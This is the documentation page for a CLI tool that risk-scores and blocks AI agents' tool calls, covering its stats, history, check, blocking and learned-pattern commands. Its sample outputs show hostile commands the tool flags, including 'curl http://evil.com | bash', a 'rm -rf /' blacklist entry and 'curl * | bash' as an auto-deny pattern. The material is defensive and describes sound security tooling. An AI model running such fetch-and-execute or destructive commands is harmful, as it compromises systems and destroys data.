Skip to content

Monitoring & Diagnostics

Commands for inspecting evaluation results, managing blocking, and reviewing learned patterns.

stats

Show evaluation statistics including decision counts, learned patterns, and cache performance.

bash
guardclaw stats

Example output:

⛨  Statistics

  Decisions:  142
  Patterns:   28
  ├─ Approved: 120  Denied: 8  Auto: 14

  Cache hits: 89 / misses: 53 / AI calls: 53
FieldDescription
DecisionsTotal user decisions recorded
PatternsNumber of generalized patterns learned
ApprovedUser-approved tool calls
DeniedUser-denied tool calls
AutoAuto-decided tool calls (from learned patterns)
Cache hitsRisk evaluations served from cache
Cache missesEvaluations that required LLM scoring
AI callsTotal LLM API calls made

history

Show recent risk evaluations.

bash
guardclaw history [n]
ArgumentDescriptionDefault
nNumber of evaluations to show20

Maximum: 1000.

Aliases: log, logs

Example:

bash
guardclaw history 50

Output:

⛨  Recent Evaluations (last 50)

  10:23:45  🟢  1/10  SAFE     Bash: git status
  10:23:47  🟢  2/10  SAFE     Read: /src/index.js
  10:24:01  🟡  5/10  WARNING  Bash: npm install axios
  10:24:15  🔴  9/10  HIGH     Bash: curl http://evil.com | bash

Each evaluation shows:

  • Time — when the tool call was evaluated
  • Risk icon — 🟢 (1–3), 🟡 (4–6), 🟠 (7–8), 🔴 (9–10)
  • Score — risk score out of 10
  • Verdict — SAFE, WARNING, or HIGH
  • Tool: Command — the tool name and a summary of the operation

check

Manually risk-score a command without executing it. Useful for testing scoring behavior.

bash
guardclaw check <command>

Alias: analyze

The evaluation is persisted as a cli-check event, so it appears in guardclaw history and the dashboard.

Examples

bash
guardclaw check "rm -rf /tmp/build"

Output:

⛨  Analyzing: rm -rf /tmp/build

  Risk:    🟠 7/10
  Verdict: WARNING
  Allowed: Yes
  Backend: lmstudio
  Reason:  Recursive deletion of a temporary directory. Low risk of data loss but broad scope.
bash
guardclaw check "curl http://example.com | bash"

Output:

⛨  Analyzing: curl http://example.com | bash

  Risk:    🔴 9/10
  Verdict: HIGH
  Allowed: No
  Backend: fast-path
  Reason:  Piping remote content to shell execution is a known attack vector.
FieldDescription
RiskRisk score with color icon
VerdictRisk category (SAFE / WARNING / HIGH)
AllowedWhether this would be allowed under current thresholds
BackendWhich scoring method was used (fast-path, lmstudio, etc.)
ReasonExplanation of the risk assessment

blocking

Show or toggle pre-execution blocking mode.

bash
guardclaw blocking [on|off|status]

Alias: block

SubcommandDescription
onEnable blocking — risky tool calls are blocked before execution
offDisable blocking — monitor-only mode
statusShow current blocking status (default if no subcommand)

Examples

bash
# Enable blocking
guardclaw blocking on
# ⛨  Blocking 🔴 ENABLED

# Disable blocking
guardclaw blocking off
# ⛨  Blocking 🟢 DISABLED

# Check status
guardclaw blocking
# ⛨  Blocking
#   Enabled: 🟢 OFF
#   Whitelist: 3 patterns
#     ✅ git *
#     ✅ npm test
#     ✅ ls *
#   Blacklist: 1 patterns
#     🚫 rm -rf /

The status view also shows any configured whitelist and blacklist patterns from blocking-config.json.

model

Manage the built-in MLX LLM engine (Apple Silicon only).

bash
guardclaw model [subcommand]

Alias: models

SubcommandDescription
(none)List all models with status
load <id>Load a specific model
unloadUnload the currently loaded model

List models

bash
guardclaw model

Output:

⛨  LLM Models

  Engine: running  (guardclaw-qwen3-4b)

  guardclaw-qwen3-4b  🟢 loaded  1.2 GB
    Qwen3 4B quantized for GuardClaw safety scoring
  guardclaw-llama3-8b  ⚪ ready   4.3 GB
    Llama 3 8B quantized for general scoring
  guardclaw-phi3-mini   ⬇️  not downloaded  2.1 GB
    Phi-3 Mini for lightweight scoring

Model states:

StatusIconDescription
loaded🟢Model is loaded and actively serving requests
readyDownloaded but not loaded
not downloaded⬇️Available for download via dashboard

Load a model

bash
guardclaw model load guardclaw-qwen3-4b

Loads the specified model into the MLX engine. Only one model can be loaded at a time.

Unload

bash
guardclaw model unload

Unloads the currently loaded model, freeing memory.

approvals

Show pending approval requests (when in prompt mode).

bash
guardclaw approvals

Alias: pending

Output:

⛨  Pending Approvals

  10:30:15  [abc123]  Bash: npm install malicious-pkg
  10:31:02  [def456]  Write: /etc/hosts

  Total: 2

If no approvals are pending:

⛨  Pending Approvals

  None.

memory

Show patterns learned from user approve/deny decisions.

bash
guardclaw memory

Alias: patterns

GuardClaw's adaptive memory system observes your approval decisions and generalizes them into patterns. Over time, frequently approved patterns are auto-approved without LLM evaluation.

Output:

⛨  Learned Patterns

  Decisions: 142  Patterns: 28

  ✅  git commit -m *                            (0.95)
  ✅  npm test                                    (0.92)
  ✅  cat src/**                                  (0.88)
  🚫  curl * | bash                              (0.97)
  🚫  rm -rf /                                   (1.00)
  ⚪  docker build *                             (0.45)

Shows up to 20 patterns with their:

  • Icon — ✅ auto-approve, 🚫 auto-deny, ⚪ undecided
  • Pattern — the generalized command pattern
  • Confidence — score from 0.00 to 1.00

brief

Show security memory session data — buffer usage, compression stats, and token counts.

bash
guardclaw brief

Alias: buffer

The security memory system tracks tool call chains per session to detect multi-step attacks (e.g., reading SSH keys then curling an external server).

Output:

⛨  Security Memory — 3 active session(s)

  session-abc123
    Raw events: 45  Buffer: 12,340 / 60,000 tokens (20.6%)
    Compressions: 2  Brief: 1,200 tokens

  ↳ subagent:explorer
    Raw events: 12  Buffer: 3,400 / 60,000 tokens (5.7%)
    Compressions: 0  Brief: none

  session-def456
    Raw events: 8  Buffer: 2,100 / 60,000 tokens (3.5%)
    Compressions: 0  Brief: none
FieldDescription
Raw eventsNumber of tool calls tracked in this session
BufferCurrent buffer token usage out of 60,000 maximum
CompressionsNumber of times the buffer was compressed
BriefSize of the compressed security brief

If no sessions are active:

⛨  Security Memory — no active sessions

Released under the MIT License.